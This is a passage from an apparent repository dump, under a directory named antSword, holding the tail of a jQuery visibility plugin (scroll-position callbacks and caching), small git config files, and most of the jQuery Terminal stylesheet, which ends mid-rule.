function(newCallback) {\n          var\n            calculations = module.get.elementCalculations(),\n            callback     = newCallback || settings.onPassing,\n            callbackName = 'passing'\n          ;\n          if(newCallback) {\n            module.debug('Adding callback for passing', newCallback);\n            settings.onPassing = newCallback;\n          }\n          if(calculations.passing) {\n            module.execute(callback, callbackName);\n          }\n          else if(!settings.once) {\n            module.remove.occurred(callbackName);\n          }\n          if(newCallback !== undefined) {\n            return calculations.passing;\n          }\n        },\n\n\n        topVisible: function(newCallback) {\n          var\n            calculations = module.get.elementCalculations(),\n            callback     = newCallback || settings.onTopVisible,\n            callbackName = 'topVisible'\n          ;\n          if(newCallback) {\n            module.debug('Adding callback for top visible', newCallback);\n            settings.onTopVisible = newCallback;\n          }\n          if(calculations.topVisible) {\n            module.execute(callback, callbackName);\n          }\n          else if(!settings.once) {\n            module.remove.occurred(callbackName);\n          }\n          if(newCallback === undefined) {\n            return calculations.topVisible;\n          }\n        },\n\n        bottomVisible: function(newCallback) {\n          var\n            calculations = module.get.elementCalculations(),\n            callback     = newCallback || settings.onBottomVisible,\n            callbackName = 'bottomVisible'\n          ;\n          if(newCallback) {\n            module.debug('Adding callback for bottom visible', newCallback);\n            settings.onBottomVisible = newCallback;\n          }\n          if(calculations.bottomVisible) {\n            module.execute(callback, callbackName);\n          }\n          else if(!settings.once) {\n            module.remove.occurred(callbackName);\n          }\n          if(newCallback === undefined) {\n            return calculations.bottomVisible;\n          }\n        },\n\n        topPassed: function(newCallback) {\n          var\n            calculations = module.get.elementCalculations(),\n            callback     = newCallback || settings.onTopPassed,\n            callbackName = 'topPassed'\n          ;\n          if(newCallback) {\n            module.debug('Adding callback for top passed', newCallback);\n            settings.onTopPassed = newCallback;\n          }\n          if(calculations.topPassed) {\n            module.execute(callback, callbackName);\n          }\n          else if(!settings.once) {\n            module.remove.occurred(callbackName);\n          }\n          if(newCallback === undefined) {\n            return calculations.topPassed;\n          }\n        },\n\n        bottomPassed: function(newCallback) {\n          var\n            calculations = module.get.elementCalculations(),\n            callback     = newCallback || settings.onBottomPassed,\n            callbackName = 'bottomPassed'\n          ;\n          if(newCallback) {\n            module.debug('Adding callback for bottom passed', newCallback);\n            settings.onBottomPassed = newCallback;\n          }\n          if(calculations.bottomPassed) {\n            module.execute(callback, callbackName);\n          }\n          else if(!settings.once) {\n            module.remove.occurred(callbackName);\n          }\n          if(newCallback === undefined) {\n            return calculations.bottomPassed;\n          }\n        },\n\n        passingReverse: function(newCallback) {\n          var\n            calculations = module.get.elementCalculations(),\n            callback     = newCallback || settings.onPassingReverse,\n            callbackName = 'passingReverse'\n          ;\n          if(newCallback) {\n            module.debug('Adding callback for passing reverse', newCallback);\n            settings.onPassingReverse = newCallback;\n          }\n          if(!calculations.passing) {\n            if(module.get.occurred('passing')) {\n              module.execute(callback, callbackName);\n            }\n          }\n          else if(!settings.once) {\n            module.remove.occurred(callbackName);\n          }\n          if(newCallback !== undefined) {\n            return !calculations.passing;\n          }\n        },\n\n\n        topVisibleReverse: function(newCallback) {\n          var\n            calculations = module.get.elementCalculations(),\n            callback     = newCallback || settings.onTopVisibleReverse,\n            callbackName = 'topVisibleReverse'\n          ;\n          if(newCallback) {\n            module.debug('Adding callback for top visible reverse', newCallback);\n            settings.onTopVisibleReverse = newCallback;\n          }\n          if(!calculations.topVisible) {\n            if(module.get.occurred('topVisible')) {\n              module.execute(callback, callbackName);\n            }\n          }\n          else if(!settings.once) {\n            module.remove.occurred(callbackName);\n          }\n          if(newCallback === undefined) {\n            return !calculations.topVisible;\n          }\n        },\n\n        bottomVisibleReverse: function(newCallback) {\n          var\n            calculations = module.get.elementCalculations(),\n            callback     = newCallback || settings.onBottomVisibleReverse,\n            callbackName = 'bottomVisibleReverse'\n          ;\n          if(newCallback) {\n            module.debug('Adding callback for bottom visible reverse', newCallback);\n            settings.onBottomVisibleReverse = newCallback;\n          }\n          if(!calculations.bottomVisible) {\n            if(module.get.occurred('bottomVisible')) {\n              module.execute(callback, callbackName);\n            }\n          }\n          else if(!settings.once) {\n            module.remove.occurred(callbackName);\n          }\n          if(newCallback === undefined) {\n            return !calculations.bottomVisible;\n          }\n        },\n\n        topPassedReverse: function(newCallback) {\n          var\n            calculations = module.get.elementCalculations(),\n            callback     = newCallback || settings.onTopPassedReverse,\n            callbackName = 'topPassedReverse'\n          ;\n          if(newCallback) {\n            module.debug('Adding callback for top passed reverse', newCallback);\n            settings.onTopPassedReverse = newCallback;\n          }\n          if(!calculations.topPassed) {\n            if(module.get.occurred('topPassed')) {\n              module.execute(callback, callbackName);\n            }\n          }\n          else if(!settings.once) {\n            module.remove.occurred(callbackName);\n          }\n          if(newCallback === undefined) {\n            return !calculations.onTopPassed;\n          }\n        },\n\n        bottomPassedReverse: function(newCallback) {\n          var\n            calculations = module.get.elementCalculations(),\n            callback     = newCallback || settings.onBottomPassedReverse,\n            callbackName = 'bottomPassedReverse'\n          ;\n          if(newCallback) {\n            module.debug('Adding callback for bottom passed reverse', newCallback);\n            settings.onBottomPassedReverse = newCallback;\n          }\n          if(!calculations.bottomPassed) {\n            if(module.get.occurred('bottomPassed')) {\n              module.execute(callback, callbackName);\n            }\n          }\n          else if(!settings.once) {\n            module.remove.occurred(callbackName);\n          }\n          if(newCallback === undefined) {\n            return !calculations.bottomPassed;\n          }\n        },\n\n        execute: function(callback, callbackName) {\n          var\n            calculations = module.get.elementCalculations(),\n            screen       = module.get.screenCalculations()\n          ;\n          callback = callback || false;\n          if(callback) {\n            if(settings.continuous) {\n              module.debug('Callback being called continuously', callbackName, calculations);\n              callback.call(element, calculations, screen);\n            }\n            else if(!module.get.occurred(callbackName)) {\n              module.debug('Conditions met', callbackName, calculations);\n              callback.call(element, calculations, screen);\n            }\n          }\n          module.save.occurred(callbackName);\n        },\n\n        remove: {\n          fixed: function() {\n            module.debug('Removing fixed position');\n            $module\n              .removeClass(className.fixed)\n              .css({\n                position : '',\n                top      : '',\n                left     : '',\n                zIndex   : ''\n              })\n            ;\n          },\n          occurred: function(callback) {\n            if(callback) {\n              var\n                occurred = module.cache.occurred\n              ;\n              if(occurred[callback] !== undefined && occurred[callback] === true) {\n                module.debug('Callback can now be called again', callback);\n                module.cache.occurred[callback] = false;\n              }\n            }\n            else {\n              module.cache.occurred = {};\n            }\n          }\n        },\n\n        save: {\n          calculations: function() {\n            module.verbose('Saving all calculations necessary to determine positioning');\n            module.save.direction();\n            module.save.screenCalculations();\n            module.save.elementCalculations();\n          },\n          occurred: function(callback) {\n            if(callback) {\n              if(module.cache.occurred[callback] === undefined || (module.cache.occurred[callback] !== true)) {\n                module.verbose('Saving callback occurred', callback);\n                module.cache.occurred[callback] = true;\n              }\n            }\n          },\n          scroll: function(scrollPosition) {\n            scrollPosition      = scrollPosition + settings.offset || $context.scrollTop() + settings.offset;\n            module.cache.scroll = scrollPosition;\n          },\n          direction: function() {\n            var\n              scroll     = module.get.scroll(),\n              lastScroll = module.get.lastScroll(),\n              direction\n            ;\n            if(scroll > lastScroll && lastScroll) {\n              direction = 'down';\n            }\n            else if(scroll < lastScroll && lastScroll) {\n              direction = 'up';\n            }\n            else {\n              direction = 'static';\n            }\n            module.cache.direction = direction;\n            return module.cache.direction;\n          },\n          elementPosition: function() {\n            var\n              element = module.cache.element,\n              screen  = module.get.screenSize()\n            ;\n            module.verbose('Saving element position');\n            // (quicker than $.extend)\n            element.fits          = (element.height < screen.height);\n            element.offset        = $module.offset();\n            element.width         = $module.outerWidth();\n            element.height        = $module.outerHeight();\n            // store\n            module.cache.element = element;\n            return element;\n          },\n          elementCalculations: function() {\n            var\n              screen     = module.get.screenCalculations(),\n              element    = module.get.elementPosition()\n            ;\n            // offset\n            if(settings.includeMargin) {\n              element.margin        = {};\n              element.margin.top    = parseInt($module.css('margin-top'), 10);\n              element.margin.bottom = parseInt($module.css('margin-bottom'), 10);\n              element.top    = element.offset.top - element.margin.top;\n              element.bottom = element.offset.top + element.height + element.margin.bottom;\n            }\n            else {\n              element.top    = element.offset.top;\n              element.bottom = element.offset.top + element.height;\n            }\n\n            // visibility\n            element.topVisible       = (screen.bottom >= element.top);\n            element.topPassed        = (screen.top >= element.top);\n            element.bottomVisible    = (screen.bottom >= element.bottom);\n            element.bottomPassed     = (screen.top >= element.bottom);\n            element.pixelsPassed     = 0;\n            element.percentagePassed = 0;\n\n            // meta calculations\n            element.onScreen  = (element.topVisible && !element.bottomPassed);\n            element.passing   = (element.topPassed && !element.bottomPassed);\n            element.offScreen = (!element.onScreen);\n\n            // passing calculations\n            if(element.passing) {\n              element.pixelsPassed     = (screen.top - element.top);\n              element.percentagePassed = (screen.top - element.top) / element.height;\n            }\n            module.cache.element = element;\n            module.verbose('Updated element calculations', element);\n            return element;\n          },\n          screenCalculations: function() {\n            var\n              scroll = module.get.scroll()\n            ;\n            module.save.direction();\n            module.cache.screen.top    = scroll;\n            module.cache.screen.bottom = scroll + module.cache.screen.height;\n            return module.cache.screen;\n          },\n          screenSize: function() {\n            module.verbose('Saving window position');\n            module.cache.screen = {\n              height: $context.height()\n            };\n          },\n          position: function() {\n            module.save.screenSize();\n            module.save.elementPosition();\n          }\n        },\n\n        get: {\n          pixelsPassed: function(amount) {\n            var\n              element = module.get.elementCalculations()\n            ;\n            if(amount.search('%') > -1) {\n              return ( element.height * (parseInt(amount, 10) / 100) );\n            }\n            return parseInt(amount, 10);\n          },\n          occurred: function(callback) {\n            return (module.cache.occurred !== undefined)\n              ? module.cache.occurred[callback] || false\n              : false\n            ;\n          },\n          direction: function() {\n            if(module.cache.direction === undefined) {\n              module.save.direction();\n            }\n            return module.cache.direction;\n          },\n          elementPosition: function() {\n            if(module.cache.element === undefined) {\n              module.save.elementPosition();\n            }\n            return module.cache.element;\n          },\n          elementCalculations: function() {\n            if(module.cache.element === undefined) {\n              module.save.elementCalculations();\n            }\n            return module.cache.element;\n          },\n          screenCalculations: function() {\n            if(module.cache.screen === undefined) {\n              module.save.screenCalculations();\n            }\n            return module.cache.screen;\n          },\n          screenSize: function() {\n            if(module.cache.screen === undefined) {\n              module.save.screenSize();\n            }\n            return module.cache.screen;\n          },\n          scroll: function() {\n            if(module.cache.scroll === undefined) {\n              module.save.scroll();\n            }\n            return module.cache.scroll;\n          },\n          lastScroll: function() {\n            if(module.cache.screen === undefined) {\n              module.debug('First scroll event, no last scroll could be found');\n              return false;\n            }\n            return module.cache.screen.top;\n          }\n        },\n\n        setting: function(name, value) {\n          if( $.isPlainObject(name) ) {\n            $.extend(true, settings, name);\n          }\n          else if(value !== undefined) {\n            settings[name] = value;\n          }\n          else {\n            return settings[name];\n          }\n        },\n        internal: function(name, value) {\n          if( $.isPlainObject(name) ) {\n            $.extend(true, module, name);\n          }\n          else if(value !== undefined) {\n            module[name] = value;\n          }\n          else {\n            return module[name];\n          }\n        },\n        debug: function() {\n          if(settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.debug.apply(console, arguments);\n            }\n          }\n        },\n        verbose: function() {\n          if(settings.verbose && settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.verbose.apply(console, arguments);\n            }\n          }\n        },\n        error: function() {\n          module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');\n          module.error.apply(console, arguments);\n        },\n        performance: {\n          log: function(message) {\n            var\n              currentTime,\n              executionTime,\n              previousTime\n            ;\n            if(settings.performance) {\n              currentTime   = new Date().getTime();\n              previousTime  = time || currentTime;\n              executionTime = currentTime - previousTime;\n              time          = currentTime;\n              performance.push({\n                'Name'           : message[0],\n                'Arguments'      : [].slice.call(message, 1) || '',\n                'Element'        : element,\n                'Execution Time' : executionTime\n              });\n            }\n            clearTimeout(module.performance.timer);\n            module.performance.timer = setTimeout(module.performance.display, 500);\n          },\n          display: function() {\n            var\n              title = settings.name + ':',\n              totalTime = 0\n            ;\n            time = false;\n            clearTimeout(module.performance.timer);\n            $.each(performance, function(index, data) {\n              totalTime += data['Execution Time'];\n            });\n            title += ' ' + totalTime + 'ms';\n            if(moduleSelector) {\n              title += ' \\'' + moduleSelector + '\\'';\n            }\n            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {\n              console.groupCollapsed(title);\n              if(console.table) {\n                console.table(performance);\n              }\n              else {\n                $.each(performance, function(index, data) {\n                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');\n                });\n              }\n              console.groupEnd();\n            }\n            performance = [];\n          }\n        },\n        invoke: function(query, passedArguments, context) {\n          var\n            object = instance,\n            maxDepth,\n            found,\n            response\n          ;\n          passedArguments = passedArguments || queryArguments;\n          context         = element         || context;\n          if(typeof query == 'string' && object !== undefined) {\n            query    = query.split(/[\\. ]/);\n            maxDepth = query.length - 1;\n            $.each(query, function(depth, value) {\n              var camelCaseValue = (depth != maxDepth)\n                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)\n                : query\n              ;\n              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {\n                object = object[camelCaseValue];\n              }\n              else if( object[camelCaseValue] !== undefined ) {\n                found = object[camelCaseValue];\n                return false;\n              }\n              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {\n                object = object[value];\n              }\n              else if( object[value] !== undefined ) {\n                found = object[value];\n                return false;\n              }\n              else {\n                module.error(error.method, query);\n                return false;\n              }\n            });\n          }\n          if ( $.isFunction( found ) ) {\n            response = found.apply(context, passedArguments);\n          }\n          else if(found !== undefined) {\n            response = found;\n          }\n          if($.isArray(returnedValue)) {\n            returnedValue.push(response);\n          }\n          else if(returnedValue !== undefined) {\n            returnedValue = [returnedValue, response];\n          }\n          else if(response !== undefined) {\n            returnedValue = response;\n          }\n          return found;\n        }\n      };\n\n      if(methodInvoked) {\n        if(instance === undefined) {\n          module.initialize();\n        }\n        instance.save.scroll();\n        instance.save.calculations();\n        module.invoke(query);\n      }\n      else {\n        if(instance !== undefined) {\n          instance.invoke('destroy');\n        }\n        module.initialize();\n      }\n    })\n  ;\n\n  return (returnedValue !== undefined)\n    ? returnedValue\n    : this\n  ;\n};\n\n$.fn.visibility.settings = {\n\n  name                   : 'Visibility',\n  namespace              : 'visibility',\n\n  debug                  : false,\n  verbose                : false,\n  performance            : true,\n\n  // whether to use mutation observers to follow changes\n  observeChanges         : true,\n\n  // whether to refresh calculations after all page images load\n  refreshOnLoad          : true,\n\n  // callback should only occur one time\n  once                   : true,\n\n  // callback should fire continuously whe evaluates to true\n  continuous             : false,\n\n  // offset to use with scroll top\n  offset                 : 0,\n\n  // whether to include margin in elements position\n  includeMargin          : false,\n\n  // scroll context for visibility checks\n  context                : window,\n\n  // check position immediately on init\n  initialCheck           : true,\n\n  // visibility check delay in ms (defaults to animationFrame)\n  throttle               : false,\n\n  // special visibility type (image, fixed)\n  type                   : false,\n\n  // image only animation settings\n  transition             : 'fade in',\n  duration               : 1000,\n\n  // array of callbacks for percentage\n  onPassed               : {},\n\n  // should call callbacks on refresh event (resize, etc)\n  checkOnRefresh         : true,\n\n  // standard callbacks\n  onOnScreen             : false,\n  onOffScreen            : false,\n  onPassing              : false,\n  onTopVisible           : false,\n  onBottomVisible        : false,\n  onTopPassed            : false,\n  onBottomPassed         : false,\n\n  // reverse callbacks\n  onPassingReverse       : false,\n  onTopVisibleReverse    : false,\n  onBottomVisibleReverse : false,\n  onTopPassedReverse     : false,\n  onBottomPassedReverse  : false,\n\n  // utility callbacks\n  onUpdate               : false, // disabled by default for performance\n  onRefresh              : function(){},\n\n  metadata : {\n    src: 'src'\n  },\n\n  className: {\n    fixed       : 'fixed',\n    placeholder : 'placeholder'\n  },\n\n  error : {\n    method  : 'The method you called is not defined.',\n    visible : 'Element is hidden, you must call refresh after element becomes visible'\n  }\n\n};\n\n})( jQuery, window , document );"
  },
  {
    "path": "antSword/static/libs/terminal/.gitignore",
    "content": "*~\n.[0-9/]*\ncomponents\n"
  },
  {
    "path": "antSword/static/libs/terminal/.gitmodules",
    "content": "[submodule \"examples/json-rpc\"]\n\tpath = examples/json-rpc\n\turl = git@github.com:jcubic/json-rpc.git\n"
  },
  {
    "path": "antSword/static/libs/terminal/css/jquery.terminal-1.1.1.css",
    "content": "/*!\n *       __ _____                     ________                              __\n *      / // _  /__ __ _____ ___ __ _/__  ___/__ ___ ______ __ __  __ ___  / /\n *  __ / // // // // // _  // _// // / / // _  // _//     // //  \\/ // _ \\/ /\n * /  / // // // // // ___// / / // / / // ___// / / / / // // /\\  // // / /__\n * \\___//____ \\\\___//____//_/ _\\_  / /_//____//_/ /_/ /_//_//_/ /_/ \\__\\_\\___/\n *           \\/              /____/                              version DEV\n * http://terminal.jcubic.pl\n *\n * This file is part of jQuery Terminal.\n *\n * Copyright (c) 2011-2017 Jakub Jankiewicz <http://jcubic.pl>\n * Released under the MIT license\n *\n * Date: Sun, 09 Apr 2017 08:41:52 +0000\n */\n.terminal .terminal-output .format, .cmd .format,\n.cmd .prompt, .cmd .prompt div, .terminal .terminal-output div div{\n    display: inline-block;\n}\n.terminal h1, .terminal h2, .terminal h3, .terminal h4, .terminal h5, .terminal h6, .terminal pre, .cmd {\n    margin: 0;\n}\n.terminal h1, .terminal h2, .terminal h3, .terminal h4, .terminal h5, .terminal h6 {\n    line-height: 1.2em;\n}\n/*\n.cmd .mask {\n    width: 10px;\n    height: 11px;\n    background: black;\n    z-index: 100;\n}\n*/\n.cmd .clipboard {\n    position: absolute;\n    left: -16px;\n    top: 0;\n    width: 20px;\n    height: 16px;\n    /* this seems to work after all on Android */\n    /*left: -99999px;\n    clip: rect(1px,1px,1px,1px);\n    /* on desktop textarea appear when paste */\n    /*\n    opacity: 0.01;\n    filter: alpha(opacity = 0.01);\n    filter: progid:DXImageTransform.Microsoft.Alpha(opacity=0.01);\n    */\n    background: transparent;\n    border: none;\n    color: transparent;\n    outline: none;\n    padding: 0;\n    resize: none;\n    z-index: 0;\n    overflow: hidden;\n}\n.terminal .error {\n    color: #f00;\n}\n.terminal {\n    position: relative;\n    /*overflow: hidden;*/\n    overflow-y: auto;\n    overflow-x: hidden;\n}\n.terminal > div {\n    height: 100%;\n}\n.cmd {\n    padding: 0;\n    height: 1.3em;\n    position: relative;\n    /*margin-top: 3px; */\n}\n.terminal .inverted, .cmd .inverted {\n    background-color: #aaa;\n    color: #000;\n}\n.cmd .cursor {\n    border-bottom: 3px solid transparent;\n    margin-bottom: -3px;\n    background-clip: content-box;\n}\n.cmd .cursor.blink {\n    -webkit-animation: terminal-blink 1s infinite steps(1, start);\n       -moz-animation: terminal-blink 1s infinite steps(1, start);\n        -ms-animation: terminal-blink 1s infinite steps(1, start);\n            animation: terminal-blink 1s infinite steps(1, start);\n    border-left: 1px solid transparent;\n    margin-left: -1px;\n}\n.bar.terminal .inverted, .bar.cmd .inverted {\n    border-left-color: #aaa;\n}\n@-webkit-keyframes terminal-blink {\n  0%, 100% {\n      background-color: #000;\n      color: #aaa;\n  }\n  50% {\n      background-color: #bbb;\n      color: #000;\n  }\n}\n\n@-ms-keyframes terminal-blink {\n  0%, 100% {\n      background-color: #000;\n      color: #aaa;\n  }\n  50% {\n      background-color: #bbb;\n      color: #000;\n  }\n}\n\n@-moz-keyframes terminal-blink {\n  0%, 100% {\n      background-color: #000;\n      color: #aaa;\n  }\n  50% {\n      background-color: #bbb;\n      color: #000;\n  }\n}\n@keyframes terminal-blink {\n  0%, 100% {\n      background-color: #000;\n      color: #aaa;\n  }\n  50% {\n      background-color: #bbb; /* not #aaa because it's seems there is Google Chrome bug */\n      color: #000;\n  }\n}\n@-webkit-keyframes terminal-bar {\n  0%, 100% {\n      border-left-color: #aaa;\n  }\n  50% {\n      border-left-color: #000;\n  }\n}\n@-ms-keyframes terminal-bar {\n  0%, 100% {\n      border-left-color: #aaa;\n  }\n  50% {\n      border-left-color: #000;\n  }\n}\n@-moz-keyframes terminal-bar {\n  0%, 100% {\n      border-left-color: #aaa;\n  }\n  50% {\n      border-left-color: #000;\n  }\n}\n@keyframes terminal-bar {\n  0%, 100% {\n      border-left-color: #aaa;\n  }\n  50% {\n      border-left-color: #000;\n  }\n}\n@-webkit-keyframes terminal-underline {\n  0%, 100% {\n      border-bottom-color: #aaa;\n      position: relative;\n      top: 2px;\n      line-height: 11px;\n      border-left: none;\n      margin: 0;\n  }\n  50% {\n      border-bottom-color: #000;\n      position: relative;\n      top: 2px;\n      line-height: 11px;\n      border-left: none;\n      margin: 0;\n  }\n}\n@-ms-keyframes terminal-underline {\n  0%, 100% {\n      border-bottom-color: #aaa;\n      position: relative;\n      top: 2px;\n      line-height: 11px;\n      border-left: none;\n      margin: 0;\n  }\n  50% {\n      border-bottom-color: #000;\n      position: relative;\n      top: 2px;\n      line-height: 11px;\n      border-left: none;\n      margin: 0;\n  }\n}\n@-moz-keyframes terminal-underline {\n  0%, 100% {\n      border-bottom-color: #aaa;\n      position: relative;\n      top: 2px;\n      line-height: 11px;\n      border-left: none;\n      margin: 0;\n  }\n  50% {\n      border-bottom-color: #000;\n      position: relative;\n      top: 2px;\n      line-height: 11px;\n      border-left: none;\n      margin: 0;\n  }\n}\n@keyframes terminal-underline {\n  0%, 100% {\n      border-bottom-color: #aaa;\n      position: relative;\n      top: 2px;\n      line-height: 11px;\n      border-left: none;\n      margin: 0;\n  }\n  50% {\n      border-bottom-color: #000;\n      position: relative;\n      top: 2px;\n      line-height: 11px;\n      border-left: none;\n      margin: 0;\n  }\n}\n.terminal .terminal-output div div, .cmd .prompt {\n    display: block;\n    line-height: 14px;\n    height: auto;\n}\n.cmd .prompt {\n    float: left;\n}\n.terminal, .cmd {\n    font-family: monospace;\n    /*font-family: FreeMono, monospace; this don't work on Android */\n    color: #aaa;\n    background-color: #000;\n    font-size: 12px;\n    line-height: 14px;\n    box-sizing: border-box;\n}\n.cmd div {\n    float: left;\n    clear: both;\n}\n.cmd div + span {\n    clear: both;\n}\n.cmd .prompt + div {\n    clear: right;\n}\n.terminal-output > div {\n    /*padding-top: 3px;*/\n    min-height: 14px;\n}\n.terminal-output > div > div * {\n    overflow-wrap: break-word; /* when echo html */\n    word-wrap: break-word;\n}\n.terminal .terminal-output div span {\n    display: inline-block;\n}\n.cmd span {\n    float: left;\n}\n/* fix double style of selecting text in terminal */\n.terminal-output span, .terminal-output a, .cmd div, .cmd span, .terminal td,\n.terminal pre, .terminal h1, .terminal h2, .terminal h3, .terminal h4,\n.terminal h5, .terminal h6 {\n    -webkit-touch-callout: initial;\n    -webkit-user-select: text;\n    -khtml-user-select: text;\n    -moz-user-select: text;\n    -ms-user-select: text;\n    user-select: text;\n}\n.terminal, .terminal-output, .terminal-output div {\n    -webkit-touch-callout: none;\n    -webkit-user-select: none;\n    -khtml-user-select: none;\n    -moz-user-select: none;\n    -ms-user-select: none;\n    user-select: none;\n}\n/* firefox hack */\n@-moz-document url-prefix() {\n    .terminal, .terminal-output, .terminal-output div {\n        -webkit-touch-callout: initial;\n        -webkit-user-select: initial;\n        -khtml-user-select: initial;\n        -moz-user-select: initial;\n        -ms-user-select: initial;\n        user-select: initial;\n    }\n}\n.terminal table {\n    border-collapse: collapse;\n}\n.terminal td {\n    border: 1px solid #aaa;\n}\n.terminal h1::-moz-selection,\n.terminal h2::-moz-selection,\n.terminal h3::-moz-selection,\n.terminal h4::-moz-selection,\n.terminal h5::-moz-selection,\n.terminal h6::-moz-selection,\n.terminal pre::-moz-selection,\n.terminal td::-moz-selection,\n.terminal .terminal-output div div::-moz-selection,\n.terminal .terminal-output div span::-moz-selection,\n.terminal .terminal-output div div a::-moz-selection,\n.cmd div::-moz-selection,\n.cmd > span::-moz-selection,\n.cmd > span span::-moz-selection,\n.cmd > div::-moz-selection,\n.cmd > div span::-moz-selection,\n.cmd .prompt span::-moz-selection {\n    background-color: #aaa;\n    color: #000;\n}\n/* this don't work in Chrome\n.terminal tr td::-moz-selection {\n    border-color: #000;\n}\n.terminal tr td::selection {\n    border-color: #000;\n}\n*/\n.terminal h1::selection,\n.terminal h2::selection,\n.terminal h3::selection,\n.terminal h4::selection,\n.terminal h5::selection,\n.terminal h6::selection,\n.terminal pre::selection,\n.terminal td::selection,\n.terminal .terminal-output div div::selection,\n.terminal .terminal-output div div a::selection,\n.terminal .terminal-output div span::selection,\n.cmd div::selection,\n.cmd > span::selection,\n.cmd > span span::selection,\n.cmd > div::selection,\n.cmd > div span::selection,\n.cmd .prompt span::selection {\n    /*\n     * use rgba to fix transparent selection in chrome\n     * http://stackoverflow.com/questions/7224445/css3-selection-behaves-differently-in-ff-chrome\n     */\n    background-color: rgba(170, 170, 170, 0.99);\n    color: #000;\n}\n.terminal .terminal-output div.error, .terminal .terminal-output div.error div {\n    color: red;\n}\n.tilda {\n    position: fixed;\n    top: 0;\n    left: 0;\n    width: 100%;\n    z-index: 1100;\n}\n.clear {\n    clear: both;\n}\n.terminal a {\n    color: #0F60FF;\n}\n.terminal a:hover {\n    color: red;\n}\n.terminal iframe {\n    position: absolute;\n    left: 0;\n    top: -100%;\n    width: 100%;\n    height: 100%;\n    margin: 1px 0 0;\n    border: none;\n    opacity: 0;\n    pointer-events: none;\n    box-sizing: border-box;\n}\n.terminal, .terminal iframe {\n    padding: 10px; /* we get width of the terminal from iframe so it need to have the same padding */\n}\n@supports (--css: variables) {\n    .terminal, .cmd {\n        color: var(--color, #aaa);\n        background-color: var(--background, #000);\n    }\n    .terminal, .cmd, .terminal .terminal-output div div, .cmd .prompt {\n        font-size: calc(var(--size, 1) * 12px);\n        line-height: calc(var(--size, 1) * 14px);\n    }\n    .terminal .inverted, .cmd .inverted {\n        background-color: var(--color, #aaa);\n        color: var(--background, #000);\n    }\n    .cmd .cursor.blink {\n        -webkit-animation: var(--animation, terminal-blink) 1s infinite steps(1, start);\n           -moz-animation: var(--animation, terminal-blink) 1s infinite steps(1, start);\n            -ms-animation: var(--animation, terminal-blink) 1s infinite steps(1, start);\n                animation: var(--animation, terminal-blink) 1s infinite steps(1, start);\n        color: var(--color, #aaa);\n        background-color: var(--background, #000);\n        margin-bottom: -3px;\n    }\n    .terminal h1::-moz-selection,\n    .terminal h2::-moz-selection,\n    .terminal h3::-moz-selection,\n    .terminal h4::-moz-selection,\n    .terminal h5::-moz-selection,\n    .terminal h6::-moz-selection,\n    .terminal pre::-moz-selection,\n    .terminal td::-moz-selection,\n    .terminal .terminal-output div div::-moz-selection,\n    .terminal .terminal-output div span::-moz-selection,\n    .terminal .terminal-output div div a::-moz-selection,\n    .cmd div::-moz-selection,\n    .cmd > span::-moz-selection,\n    .cmd > span span::-moz-selection,\n    .cmd > div::-moz-selection,\n    .cmd > div span::-moz-selection,\n    .cmd .prompt span::-moz-selection {\n        background-color: var(--color, #aaa);\n        color: var(--background, #000);\n    }\n    .terminal h1::selection,\n    .terminal h2::selection,\n    .terminal h3::selection,\n    .terminal h4::selection,\n    .terminal h5::selection,\n    .terminal h6::selection,\n    .terminal pre::selection,\n    .terminal td::selection,\n    .terminal .terminal-output div div::selection,\n    .terminal .terminal-output div div a::selection,\n    .terminal .terminal-output div span::selection,\n    .cmd div::selection,\n    .cmd > span::selection,\n    .cmd > span span::selection,\n    .cmd > div::selection,\n    .cmd > div span::selection,\n    .cmd .prompt span::selection {\n        background-color: var(--color, rgba(170, 170, 170, 0.99));\n        color: var(--background, #000);\n    }\n    @-webkit-keyframes terminal-blink {\n      0%, 100% {\n          background-color: var(--background, #000);\n          color: var(--color, #aaa);\n      }\n      50% {\n          background-color: var(--color, #aaa);\n          color: var(--background, #000);\n      }\n    }\n\n    @-ms-keyframes terminal-blink {\n      0%, 100% {\n          background-color: var(--background, #000);\n          color: var(--color, #aaa);\n      }\n      50% {\n          background-color: var(--color, #aaa);\n          color: var(--background, #000);\n      }\n    }\n    @-moz-keyframes terminal-blink {\n      0%, 100% {\n          background-color: var(--background, #000);\n          color: var(--color, #aaa);\n      }\n      50% {\n          background-color: var(--color, #aaa);\n          color: var(--background, #000);\n      }\n    }\n    @keyframes terminal-blink {\n      0%, 100% {\n          background-color: var(--background, #000);\n          color: var(--color, #aaa);\n      }\n      50% {\n          background-color: var(--color, #aaa);\n          color: var(--background, #000);\n      }\n    }\n    @-webkit-keyframes terminal-bar {\n      0%, 100% {\n          border-left-color: var(--background, #000);\n      }\n      50% {\n          border-left-color: var(--color, #aaa);\n      }\n    }\n    @-ms-keyframes terminal-bar {\n      0%, 100% {\n          border-left-color: var(--background, #000);\n      }\n      50% {\n          border-left-color: var(--color, #aaa);\n      }\n    }\n    @-moz-keyframes terminal-bar {\n      0%, 100% {\n          border-left-color: var(--background, #000);\n      }\n      50% {\n          border-left-color: var(--color, #aaa);\n      }\n    }\n    @keyframes terminal-bar {\n      0%, 100% {\n          border-left-color: var(--background, #000);\n      }\n      50% {\n          border-left-color: var(--color, #aaa);\n      }\n    }\n    @-webkit-keyframes terminal-underline {\n      0%, 100% {\n          border-bottom-color: var(--color, #aaa);\n          position: relative;\n          top: 2px;\n          line-height: 11px;\n          border-left: none;\n          margin: 0;\n      }\n      50% {\n          border-bottom-color: var(--background, #000);\n          position: relative;\n          top: 2px;\n          line-height: 11px;\n          border-left: none;\n          margin: 0;\n      }\n    }\n    @-ms-keyframes terminal-underline {\n      0%, 100% {\n          border-bottom-color: var(--background, #000);\n          position: relative;\n          top: 2px;\n          line-height: 11px;\n          border-left: none;\n          margin: 0;\n      }\n      50% {\n          border-bottom-color: var(--color, #aaa);\n          position: relative;\n          top: 2px;\n          line-height: 11px;\n          border-left: none;\n          margin: 0;\n      }\n    }\n    @-moz-keyframes terminal-underline {\n      0%, 100% {\n          border-bottom-color: var(--background, #000);\n          position: relative;\n          